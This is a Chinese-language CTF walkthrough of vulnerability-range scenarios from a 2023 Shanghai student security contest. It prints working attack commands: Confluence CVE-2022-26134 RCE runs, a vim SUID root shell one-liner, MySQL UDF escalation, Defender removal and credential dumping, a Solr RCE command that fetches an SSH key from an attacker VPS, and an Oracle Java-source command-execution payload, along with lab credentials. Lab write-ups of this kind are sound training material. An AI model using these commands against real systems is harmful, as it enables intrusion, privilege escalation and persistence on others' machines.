第八届上海市大学生网络安全大赛
暨“磐石行动”2023(首届)大学生网络安全邀请赛
—— CTF比赛
2023.5.20 9:00 - 21:00
—— 漏洞挖掘比赛
2023.5.21 00:00 - 2023.5.22 24:00
由于文章写得有点长,干脆拆分成了上下篇,上篇主要写了下场景1和场景3的
那这个下篇接着来记录一下场景2和场景4的漏洞挖掘过程。
既然是Workthrough,那文中必然有不少走错路的时候,说不定还有写得不对的地方,师傅们看的时候就当听故事好了(哈哈)
(icmp) Target 10.103.252.84 is alive
基于 Atlassian Confluence 7.14.2 技术构建
CVE-2022-26134 Confluence OGNL RCE 漏洞分析
https://www.anquanke.com/post/id/274026
天下大木头师傅的 Confluence CVE-2022-26134 漏洞分析
http://wjlshare.com/archives/1755
Confluence Server and Data Center - CVE-2022-26134 - Critical severity unauthenticated remote code execution vulnerability
https://github.com/nxtexploit/CVE-2022-26134
$ python CVE-2022-26134.py http://10.103.252.84:8090/ id
flag在/root/目录下,当前用户权限,找个地方提权,mysql?
数据库的配置文件
$ python CVE-2022-26134.py http://10.103.252.84:8090/ "cat /var/atlassian/application-data/confluence/confluence.cfg.xml"
数据库 3306
confluence
Confluence.123
5.7.42
好像是 mysql 权限,也没 root
还得提权?参考 confluence 忘记密码
https://www.jianshu.com/p/7cc8ea59578a
cwd_user 表
admin
修改密码为 Ab123456,登录
还得提权?
shell 弹不回来好难受,只能正向打啊啊啊
可以弹公网
但是不如直接写私钥然后 ssh 登录
python CVE-2022-26134.py http://10.103.187.168:8090/ "mkdir /home/confluence/.ssh/"
Sudo version 1.8.23
Sudoers policy plugin version 1.8.23
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.23
看看sudo提权或者CVE-2021-4034 pwnkit那个
看起来都不行
vim 有 suid 权限
vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
sh-4.2# cat /root/flag
内网
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1450
2W2mg^v6B6UJNR@Svs
用上面的连接信息连
3389 是不是没开不让连啊。。
是不是哪里锅了
噢,还有 3306 啊
MySQL 5.5.53
直接 udf 提权
-- select @@basedir;
系统权限好啊!
C
mimikatz 被杀了。。
MsMpEng.exe <=> Microsoft Security Essentials
直接加个账号连上去,然后关掉 win defender,然后 dump
啥也没有啊
不过Administrator的桌面上有个Redis客户端,估计连的是192.168.0.33:6379这个
感觉这台机器上哪里存了密码
赛后看了其他队wp发现要解本机的NTLM hash然后拿去cmd5解密得到明文密码,用这个密码就能登录redis然后进一步弹shell
好吧,摸了
10.103.31.38:22 open
https://github.com/AleWong/Apache-Solr-RCE-via-Velocity-template/tree/master
$ python apache_solr_exec.py 10.103.31.38 8983
python apache_solr_exec.py 10.103.32.51 8983 "curl vpsip:port/authorized_keys -o /root/.ssh/authorized_keys"
直接加个 key 然后 ssh 上去
扫内网
(icmp) Target 192.168.33.39 is alive
起个代理到内网
history
sqlplus
system/Zr6kJG2U3m3A7BG@192.168.1.100:1521/orcl
192.168.33.172:1521
select * from v$version;
命令执行 DBMS_XMLQUERY
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;
执行命令:
select LinxRUNCMD('whoami') from dual;
发现不能有空格。。
https://github.com/jas502n/oracleShell
这工具感觉只支持 Linux 的命令执行,还得手动读文件。。
数据库读取文件方式总结
https://uuzdaisuki.com/2020/07/10/数据库读取文件方式总结/
create or replace directory user_dir as 'C:\Users\Administrator\Desktop\';
于是通宵打了两天漏洞渗透靶场,累死了
感觉Windows攻防这一块喵喵还不大熟悉,后面有机会有空的话再来补一补.jpg (咕咕咕)
吐槽一下怎么不是所有机器都有flag,好不容易日了一台机器下来,上去发现啥都没有,好亏啊!
然后又想到去年线下打鹏城杯那个靶场,靶机里数据库web服务root下好几个地方放了flag,虽然容易漏但是至少拿下机器shell有flag的反馈还是挺乐的,虽然打得也挺累的就是了。
还有个挺坑的地方是,他靶机的DNS都配的是192.168下的,但是那个IP又连不通,于是如果反弹shell或者下载带域名的URL就解析不出来了,整的喵喵还以为不通外网,后来直接试IP发现能访问才猜到是这样的。
而且VPN网段不能弹shell回来,中间的路由直接丢了,而且通过VPN访问也是走的中间的机器跳过去的
(不过这漏洞挖掘的比赛也好卷啊!)
喵喵一个人拿了1k分,也就是拿了5个flag,人麻了
可惜最后CTF和漏洞挖掘居然是按照7:3的比例把分数加起来,感觉亏死了!!!
于是连着打了三天,累累,呜呜
不过说来这应该是喵喵最后一次打上海市赛了吧(喵呜喵呜喵)
(溜了溜了喵)
往期推荐